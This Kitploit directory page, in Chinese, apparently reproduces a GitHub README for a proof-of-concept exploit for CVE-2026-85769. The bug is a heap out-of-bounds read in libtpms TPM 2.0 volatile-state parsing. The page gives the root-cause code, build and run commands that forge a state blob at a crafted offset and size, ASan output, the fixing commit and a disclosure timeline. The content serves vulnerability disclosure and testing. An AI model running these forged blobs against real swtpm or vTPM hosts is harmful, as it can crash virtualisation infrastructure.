Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85769 — CVE-2026-85769 的概念验证漏洞利用程序,针对 libtpms TPM 2.0 状态反序列化中的堆越界读取漏洞,演示如何通过构造的状态数据块引发拒绝服务。 | Kitploit
工具/GitHubGitHub/isukasanuj/cve-2026-85769
嵌入式系统安全漏洞分析漏洞利用模糊测试硬件安全二进制分析
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

CVE-2026-85769 的概念验证漏洞利用程序,针对 libtpms TPM 2.0 状态反序列化中的堆越界读取漏洞,演示如何通过构造的状态数据块引发拒绝服务。

查看仓库
5小时12分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-85769

libtpms TPM 2.0 易失状态反序列化中的堆越界读取。

block_skip_read() 中无界可选块跳过操作会按攻击者控制的 16 位长度推进反序列化游标,并将有符号的剩余大小计数器驱动为负值。此后所有下游边界检查都会通过,因为它们将该有符号值转换为无符号值进行比较。通过 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) 传入伪造的、自带校验和的易失状态 blob,会产生堆越界读取并中止承载 libtpms 的进程——即 vTPM 部署中的 swtpm。

CVECVE-2026-85769
组件src/tpm2/NVMarshal.c、src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191(整数下溢)+ CWE-195(有符号到无符号转换)
受影响版本master f7f072b2、v0.10.2 03ff2481 及携带此代码的早期版本
修复版本9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32"(PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5(Red Hat,中危)
报告时间2026-09-01,私下提交给维护者

根本原因

block_skip_read() 通过推进解析游标来跳过可选的版本化块,但未将长度与剩余字节数进行比较:

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size 是有符号的。一旦变为负值,每次标量读取前的防护检查就会失效:

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

解析越过分配区域越远,*size 的负值就越大——而无符号视角下它看起来也越大。同一文件中 Array_Unmarshal 已采用正确形式,即进行有符号比较。

唯一的完整性门控是附加在 blob 末尾的无密钥 SHA-1(src/tpm2/Volatile.c),因此 PoC 在篡改后会重新计算该值。

攻击面

通过 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) 以及上电恢复链 TPMLIB_MainInit → _TPM_Init → VolatileLoad 可达。

在 swtpm 部署中,相关路径是实时迁移——CMD_GET_STATEBLOB / CMD_SET_STATEBLOB,由 libvirt 驱动。目标主机解析源主机上产生的状态 blob。配置的 --migration-key 无法缓解此问题:该密钥在两台主机间共享,因此被攻陷的源主机持有该密钥并可以生成能正确解密的 blob。它防御的是中间第三方,而非恶意对端。

构建

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

运行

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 的大小经过精心设计,使游标落在 ASan 的 redzone 中而非野指针上:

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

偏移 173 是 ORDERLY_DATA 的 skip_future_versions 尾部中的 has_block 字节。该偏移是通过在解析过程中对 block_skip_read() 插桩打印偏移量来定位的,而非逐字节计数——偏移会随状态格式变化,因此如果你的 blob 长度不同于 8778,请重新推导该值。

请注意,skip_self_heal_timer 不是可用的尾部:TpmBuildSwitches.h 中的 ACCUMULATE_SELF_HEAL_TIMER YES 意味着它以 needs_block = TRUE 发出并走安全分支。

结果

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

故障出现在 UINT16_Unmarshal 中,而非 block_skip_read——跳过操作推进游标后不读取即返回。越界落在下一个结构体读取上。

针对已修复的提交,所有攻击用例均返回 TPM_RC_INSUFFICIENT (0x9a) 且无 ASan 报告,有效 blob 仍能以 rc=0 恢复。

影响

承载 libtpms 的进程拒绝服务,以及未定义行为。

信息泄露已测试并排除。在非 ASan 构建上,小幅越界每次都会返回 TPM_RC_BAD_TAG (0x1e):

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

越界后紧接着读取的是一个 NV_HEADER,其 32 位魔数必须匹配固定常量。相邻堆满足该条件的概率约为 p ≈ 2⁻³²。解析中止,ClearAllCachedState() 丢弃所有内容,且没有越界字节到达 TPMLIB_GetState。因此机密性为 C:N。Red Hat 的审查独立得出了相同结论。

时间线

致谢

Isuka Sanuj — CyberCrew Inc.(株式会社CyberCrew)

由 Leyao(中科院计算所)独立报告,在同一 CVE 上署名。

备注

此 PoC 在问题于上游修复且 CVE 分配之后发布。它针对开源库的本地构建,仅触发解析过程,不做其他操作。请只测试你被授权测试的内容。

许可证

MIT

下载工具
日期
2026-09-01私下报告给 libtpms 维护者
2026-09-04同一根本原因由 Leyao(中科院计算所)作为 libtpms issue #614 公开且独立报告
2026-09-04上游在 9e1475ff(PR #613)中修复;修复已针对此 PoC 验证
2026-09-04报告给 Red Hat Product Security
2026-09-04分配 CVE-2026-85769